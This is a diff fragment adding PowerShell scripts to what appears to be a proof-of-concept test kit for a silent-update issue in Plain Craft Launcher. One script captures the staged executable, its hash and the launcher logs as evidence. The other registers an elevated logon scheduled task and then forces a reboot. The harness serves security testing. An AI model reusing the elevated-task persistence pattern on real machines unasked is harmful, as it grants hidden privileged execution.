+    $action = New-ScheduledTaskAction -Execute 'C:\pcl-demo.cmd'
+    $trigger = New-ScheduledTaskTrigger -AtLogOn -User $user
+    $principal = New-ScheduledTaskPrincipal -UserId $user -LogonType Interactive -RunLevel Highest
+    Register-ScheduledTask -TaskName 'PCLPoCDemo' -Action $action -Trigger $trigger -Principal $principal -Force | Out-Null
+    Disable-ScheduledTask -TaskName 'PCLPoCDemo' | Out-Null
+
+    Log 'setup-final: done; rebooting'
+} catch {
+    Log ('setup-final: ERROR ' + $_.Exception.Message)
+    try { Add-Content -LiteralPath (Join-Path $Ev 'setup-final-error.txt') -Value $_.Exception.ToString() -Encoding UTF8 } catch { }
+} finally {
+    try { Stop-Transcript | Out-Null } catch { }
+}
+
+& shutdown.exe /r /t 8 /c 'PCL PoC final setup'

+ 39 - 0
repeat/toolkit/pcl-test/watch-staging.ps1

@@ -0,0 +1,39 @@
+# Copy the silent-update staging exe and its provenance before PCL cleanup.
+# ASCII only. Windows PowerShell 5.1 compatible.
+
+param(
+    [string]$Staging,
+    [string]$Evidence,
+    [string]$PclDir,
+    [int]$Timeout = 180
+)
+
+if (-not $Staging -and $PclDir) {
+    $Staging = Join-Path $PclDir 'PCL\Plain Craft Launcher 2.exe'
+}
+if (-not $Staging) { exit 2 }
+
+$deadline = (Get-Date).AddSeconds($Timeout)
+$last = -1
+
+while ((Get-Date) -lt $deadline) {
+    if (Test-Path -LiteralPath $Staging) {
+        $len = (Get-Item -LiteralPath $Staging).Length
+        if ($len -gt 0 -and $len -eq $last) {
+            Copy-Item -LiteralPath $Staging -Destination (Join-Path $Evidence 'staging.exe') -Force
+            (Get-FileHash -LiteralPath $Staging -Algorithm SHA256).Hash | Set-Content -LiteralPath (Join-Path $Evidence 'staging.sha256.txt') -Encoding ASCII
+            if ($PclDir) {
+                Copy-Item -Path (Join-Path $PclDir 'PCL\Log*.txt') -Destination $Evidence -Force -ErrorAction SilentlyContinue
+                Copy-Item -LiteralPath (Join-Path $PclDir 'PCL\Setup.ini') -Destination $Evidence -Force -ErrorAction SilentlyContinue
+            }
+            Copy-Item -Path (Join-Path $env:TEMP 'PCL\Cache\*') -Destination $Evidence -Force -ErrorAction SilentlyContinue
+            'FOUND' | Set-Content -LiteralPath (Join-Path $Evidence 'watch-staging.txt') -Encoding ASCII
+            exit 0
+        }
+        $last = $len
+    }
+    Start-Sleep -Milliseconds 250
+}
+
+'TIMEOUT' | Set-Content -LiteralPath (Join-Path $Evidence 'watch-staging.txt') -Encoding ASCII
+exit 1